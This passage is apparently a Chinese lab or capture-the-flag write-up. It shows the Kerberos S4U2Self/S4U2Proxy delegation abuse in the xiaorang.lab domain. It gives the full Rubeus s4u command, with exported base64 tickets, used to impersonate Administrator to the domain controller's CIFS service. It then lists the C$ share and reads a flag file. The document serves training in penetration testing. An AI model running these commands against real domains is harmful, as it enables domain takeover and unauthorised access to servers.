4.绕过网络隔离	TGT 可以导出，在其他机器上使用

打开1.txt，复制票据的base64编码

image-20260401223411323
doIFmjCCBZagAwIBBaEDAgEWooIEqzCCBKdhggSjMIIEn6ADAgEFoQ4bDFhJQU9SQU5HLkxBQqIhMB+gAwIBAqEYMBYbBmtyYnRndBsMeGlhb3JhbmcubGFio4IEYzCCBF+gAwIBEqEDAgECooIEUQSCBE2DxJpGEEJtfEqYvzqeN1F7/EraW+zmDHEBOhGxmj75lD76o3rCxrarn8HJ4i0jXNW6Q47QnKc3t8pYpT/Nll6RDwyN2n2SHqyYpWQz+KWnGwOlMJfZejAxPUk4vWPuFdB8cYWXr+yHAtaJw1bfoGg2TPIbpDvARc1k1+lOFm8E0647E7o9NCB1YyTsIe2GDyS4GQrkJATWlJ3753lojeArYrY79XKqrF9Xjqd7knnikT+nx+CQZqa7X4mwJJDkvGiQLKGGTuUp5R9L25OljR8t5yTDXtQLA3SeuccgKzqtN06SoWn4ppHpFEOMqY1rdFNfyA/c/+Qwua3dewgaytjoIWERN54kqW4rcKlEtiNZrfiI3c95V1x6gPcJXkHw8V+0XqVrj0AjFW/bs507IJO/uq0izi0jkw46rMKvBnRXL0ISPoA5OOh3iLZFKsKidK4H6G1hegxgUvysMs+QvbLcawEYR1QH07XLrNk2f0lSGsUZme2J7XsnnvSn2zBXVGNQ/3Vpbt2AOJovXRBod0KBT7wFtSMcmxLHEwLfADKvrWO70we2lpwEYGJMfQe+dIeRnbywb+ng6xNvv1C0N0dz9vn11ZcHCCvq0ES32d6/aiPy8U6J6b1lJjpsd7P/vKmSj7QDwjnZYvNiIAt6CAvbPIMoCHZNIXS6yZJBKAGtgoNI4l48dnx9cEUliLx/db6/L1fkrOAZvTDHbLqKN7axlblTBuIJl1DkZZ+Kp+iwq91ebrLHr2uLqTbUNIvQVo3Yt1lOmI57C7U3Cb70tV5QPcWudL/2cgkQZ2EOCMI9RqBUBuquP36HjubHgeUJATaHyr3N2OvLpc0b0p4Q8w1WSZN3+T1jvlMS23At+doXYfm/4YPWB2j16FCi4M1ikeEFL9dgqkgNnaasBB1yKxn+2OKcbwFegMQ70898Gi9pUjP56D5+6qN8Fiupms7YFswyr+wgZOPyK485HWSlHosJ0KRFNxc6UBRKMnr5Rx41hdJGyFnVMbAcPdvDcyFmxChQ5nGxqCJSCWTOp+nwl/qEmqDSUJhLvJNhZRpl3idBQVg3GGcwjQduNiKtm+CdkNPjqjbA5dji3p0C9iXAdMTXsCdcNr5zhEtiChfc1eP8e/nuWxnL5y2XMEFKroBcjukftqiFhY3IuYu12Y0sEw9RwoO4cbuCPBjv/extPgCrjQYDYSfE8SVaaOBMTiyYt4Hjh/i9DqXVHVh6V24o6RbWgicWOwOB3ZOAGgbBrrYHamwh6ON9f9yd82lhLHCDJrYqsikSRgTDd9T1RgOZWbUu/HahdmIbCIp5LuyTtKUVyqJKtZ0UduMqrfRPaAzBQXKT/w3B6S71UpWKEpf3/q9YGwmYVbvKvpk7xfa3ekRP49Cu6wws9NBHfYCzUCYPQJRrfNKhVX1lDCfyn3nNqy2bwkewTyBpEQVuTZJi0j5vZz6HdeLQucdh2sk8IOmjgdowgdegAwIBAKKBzwSBzH2ByTCBxqCBwzCBwDCBvaAbMBmgAwIBF6ESBBCN1tpuPMnieTtsufE9omDjoQ4bDFhJQU9SQU5HLkxBQqIZMBegAwIBAaEQMA4bDE1TU1FMU0VSVkVSJKMHAwUAQOEAAKURGA8yMDI2MDQwMTE0MzMxNlqmERgPMjAyNjA0MDIwMDMzMTZapxEYDzIwMjYwNDA4MTQzMzE2WqgOGwxYSUFPUkFORy5MQUKpITAfoAMCAQKhGDAWGwZrcmJ0Z3QbDHhpYW9yYW5nLmxhYg==

通过Rubeus的S4U2Self协议代表域管理员申请针对域控LDAP服务的票据并注入内存

.\Rubeus.exe s4u /impersonateuser:Administrator /msdsspn:CIFS/DC.xiaorang.lab /dc:DC.xiaorang.lab /ptt /ticket:doIFmjCCBZagAwIBBaEDAgEWooIEqzCCBKdhggSjMIIEn6ADAgEFoQ4bDFhJQU9SQU5HLkxBQqIhMB+gAwIBAqEYMBYbBmtyYnRndBsMeGlhb3JhbmcubGFio4IEYzCCBF+gAwIBEqEDAgECooIEUQSCBE2DxJpGEEJtfEqYvzqeN1F7/EraW+zmDHEBOhGxmj75lD76o3rCxrarn8HJ4i0jXNW6Q47QnKc3t8pYpT/Nll6RDwyN2n2SHqyYpWQz+KWnGwOlMJfZejAxPUk4vWPuFdB8cYWXr+yHAtaJw1bfoGg2TPIbpDvARc1k1+lOFm8E0647E7o9NCB1YyTsIe2GDyS4GQrkJATWlJ3753lojeArYrY79XKqrF9Xjqd7knnikT+nx+CQZqa7X4mwJJDkvGiQLKGGTuUp5R9L25OljR8t5yTDXtQLA3SeuccgKzqtN06SoWn4ppHpFEOMqY1rdFNfyA/c/+Qwua3dewgaytjoIWERN54kqW4rcKlEtiNZrfiI3c95V1x6gPcJXkHw8V+0XqVrj0AjFW/bs507IJO/uq0izi0jkw46rMKvBnRXL0ISPoA5OOh3iLZFKsKidK4H6G1hegxgUvysMs+QvbLcawEYR1QH07XLrNk2f0lSGsUZme2J7XsnnvSn2zBXVGNQ/3Vpbt2AOJovXRBod0KBT7wFtSMcmxLHEwLfADKvrWO70we2lpwEYGJMfQe+dIeRnbywb+ng6xNvv1C0N0dz9vn11ZcHCCvq0ES32d6/aiPy8U6J6b1lJjpsd7P/vKmSj7QDwjnZYvNiIAt6CAvbPIMoCHZNIXS6yZJBKAGtgoNI4l48dnx9cEUliLx/db6/L1fkrOAZvTDHbLqKN7axlblTBuIJl1DkZZ+Kp+iwq91ebrLHr2uLqTbUNIvQVo3Yt1lOmI57C7U3Cb70tV5QPcWudL/2cgkQZ2EOCMI9RqBUBuquP36HjubHgeUJATaHyr3N2OvLpc0b0p4Q8w1WSZN3+T1jvlMS23At+doXYfm/4YPWB2j16FCi4M1ikeEFL9dgqkgNnaasBB1yKxn+2OKcbwFegMQ70898Gi9pUjP56D5+6qN8Fiupms7YFswyr+wgZOPyK485HWSlHosJ0KRFNxc6UBRKMnr5Rx41hdJGyFnVMbAcPdvDcyFmxChQ5nGxqCJSCWTOp+nwl/qEmqDSUJhLvJNhZRpl3idBQVg3GGcwjQduNiKtm+CdkNPjqjbA5dji3p0C9iXAdMTXsCdcNr5zhEtiChfc1eP8e/nuWxnL5y2XMEFKroBcjukftqiFhY3IuYu12Y0sEw9RwoO4cbuCPBjv/extPgCrjQYDYSfE8SVaaOBMTiyYt4Hjh/i9DqXVHVh6V24o6RbWgicWOwOB3ZOAGgbBrrYHamwh6ON9f9yd82lhLHCDJrYqsikSRgTDd9T1RgOZWbUu/HahdmIbCIp5LuyTtKUVyqJKtZ0UduMqrfRPaAzBQXKT/w3B6S71UpWKEpf3/q9YGwmYVbvKvpk7xfa3ekRP49Cu6wws9NBHfYCzUCYPQJRrfNKhVX1lDCfyn3nNqy2bwkewTyBpEQVuTZJi0j5vZz6HdeLQucdh2sk8IOmjgdowgdegAwIBAKKBzwSBzH2ByTCBxqCBwzCBwDCBvaAbMBmgAwIBF6ESBBCN1tpuPMnieTtsufE9omDjoQ4bDFhJQU9SQU5HLkxBQqIZMBegAwIBAaEQMA4bDE1TU1FMU0VSVkVSJKMHAwUAQOEAAKURGA8yMDI2MDQwMTE0MzMxNlqmERgPMjAyNjA0MDIwMDMzMTZapxEYDzIwMjYwNDA4MTQzMzE2WqgOGwxYSUFPUkFORy5MQUKpITAfoAMCAQKhGDAWGwZrcmJ0Z3QbDHhpYW9yYW5nLmxhYg==


s4u	-	执行 S4U2Self + S4U2Proxy 协议扩展
/impersonateuser:Administrator	Administrator	要冒充的用户（域管理员）
/msdsspn:CIFS/DC.xiaorang.lab	CIFS 服务	目标服务（文件共享），共享域控DC.xiaorang.lab的文件，为了读取flag
/dc:DC.xiaorang.lab	域控	向这台域控请求
/ptt	-	将获取的票据自动导入内存（Pass The Ticket）
/ticket:doIFmjCCBZag...	TGT	用这个 TGT 作为身份基础
┌─────────────────────────────────────────────────────────────────┐
│  你当前的 TGT 身份：MSSQLSERVER$（计算机账号）                    │
│  你想冒充的身份：Administrator（域管理员）                        │
│  你想访问的资源：DC.xiaorang.lab 的 C$ 共享（CIFS 服务）           │
└─────────────────────────────────────────────────────────────────┘

                    S4U2Self + S4U2Proxy 攻击流程：

┌──────────────┐    1. 用 MSSQLSERVER$ 的 TGT 向域控请求           ┌──────────────┐
│              │ ───────────────────────────────────────────────► │              │
│  你的机器     │    "我要冒充 Administrator 访问 CIFS 服务"        │    域控       │
│  (MSSQLSERVER)│                                                  │  (DC)         │
│              │ ◄─────────────────────────────────────────────── │              │
│              │    2. 域控返回 Administrator 的 CIFS 服务票据       │              │
└──────────────┘                                                  └──────────────┘
        │
        │ 3. 票据自动导入内存
        ▼
┌──────────────┐
│  你现在可以   │
│  dir \\DC.xiaorang.lab\C$
│  以 Administrator 身份访问域控的 C$ 共享！
└──────────────┘

这个攻击依赖 Kerberos 的 S4U2Self 和 S4U2Proxy 扩展协议，原本设计用于服务委派场景。

  ______        _
  (_____ \      | |
   _____) )_   _| |__  _____ _   _  ___
  |  __  /| | | |  _ \| ___ | | | |/___)
  | |  \ \| |_| | |_) ) ____| |_| |___ |
  |_|   |_|____/|____/|_____)____/(___/

  v2.2.0

[*] Action: S4U

[*] Action: S4U

[*] Building S4U2self request for: 'MSSQLSERVER$@XIAORANG.LAB'
[*] Using domain controller: DC.xiaorang.lab (172.22.2.3)
[*] Sending S4U2self request to 172.22.2.3:88
[+] S4U2self success!
[*] Got a TGS for 'Administrator' to 'MSSQLSERVER$@XIAORANG.LAB'
[*] base64(ticket.kirbi):

      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
      VkVSJA==

[*] Impersonating user 'Administrator' to target SPN 'CIFS/DC.xiaorang.lab'
[*] Building S4U2proxy request for service: 'CIFS/DC.xiaorang.lab'
[*] Using domain controller: DC.xiaorang.lab (172.22.2.3)
[*] Sending S4U2proxy request to domain controller 172.22.2.3:88
[+] S4U2proxy success!
[*] base64(ticket.kirbi) for SPN 'CIFS/DC.xiaorang.lab':

      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
[+] Ticket successfully imported!

C:\Users\Administrator\flag>
[+] S4U2self success!
[*] Got a TGS for 'Administrator' to 'MSSQLSERVER$@XIAORANG.LAB'
#成功冒充了 Administrator，获得了中间票据
[+] S4U2proxy success!
[*] base64(ticket.kirbi) for SPN 'CIFS/DC.xiaorang.lab'
#成功获取了访问域控文件共享的服务票据
[+] Ticket successfully imported!
#票据已经导入内存，可以直接使用
. 直接访问域控的 C$ 共享
dir \\DC.xiaorang.lab\C$
. 如果成功，你会看到域控的 C 盘内容！

查看域控C盘下\Users\Administrator路径的文件结构

image-20260401223834644

获取flag文件内容

type \\DC.xiaorang.lab\C$\Users\Administrator\flag\flag04.txt
image-20260401223914533
 flag{db5a5009-4e18-4acd-ba77-6d43801a98aa}
暂无评论

发送评论 编辑评论 


				

			

						

				

					

						

							

								
							

							
						

					

				

				

					

						

							

								
							

							
						

					

				

				

					

						

							

								
							

							
							
													

					

				

			

			
			

				

					
				

			

				

											

							
							
						

																				
					
											
						

	

		
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
（╯‵□′）╯︵┴─┴
￣﹃￣
(/ω＼)
∠( ᐛ 」∠)＿
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ｀)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ(￣∇￣o)
ヾ(´･ ･｀｡)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò｡)
Σ(っ °Д °;)っ
( ,,´･ω･)ﾉ"(´っω･｀｡)
╮(╯▽╰)╭
o(*////▽////*)q
＞﹏＜
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
	

	

		
颜文字
Emoji
小恐龙
花!
	


									

			

			
			
		

	






上一篇
下一篇 

                    

                    
			        推荐文章
		            

		            

							
春秋云境-Privilege

							
							

							
春秋云镜-Certify

							
							

							
春秋云境 – Rivulet

							
							

							
春秋云镜-Initial

							
							

							
春秋云镜-Flarum

							
							

							
春秋云镜-Exchange

							
							

							
春秋云境-Aoselu

							
							

							
内网渗透三级代理如何搭建

							
							

							
CyberStrikeLab-Delegation

							
							

							
CyberStrikeLab-Thunder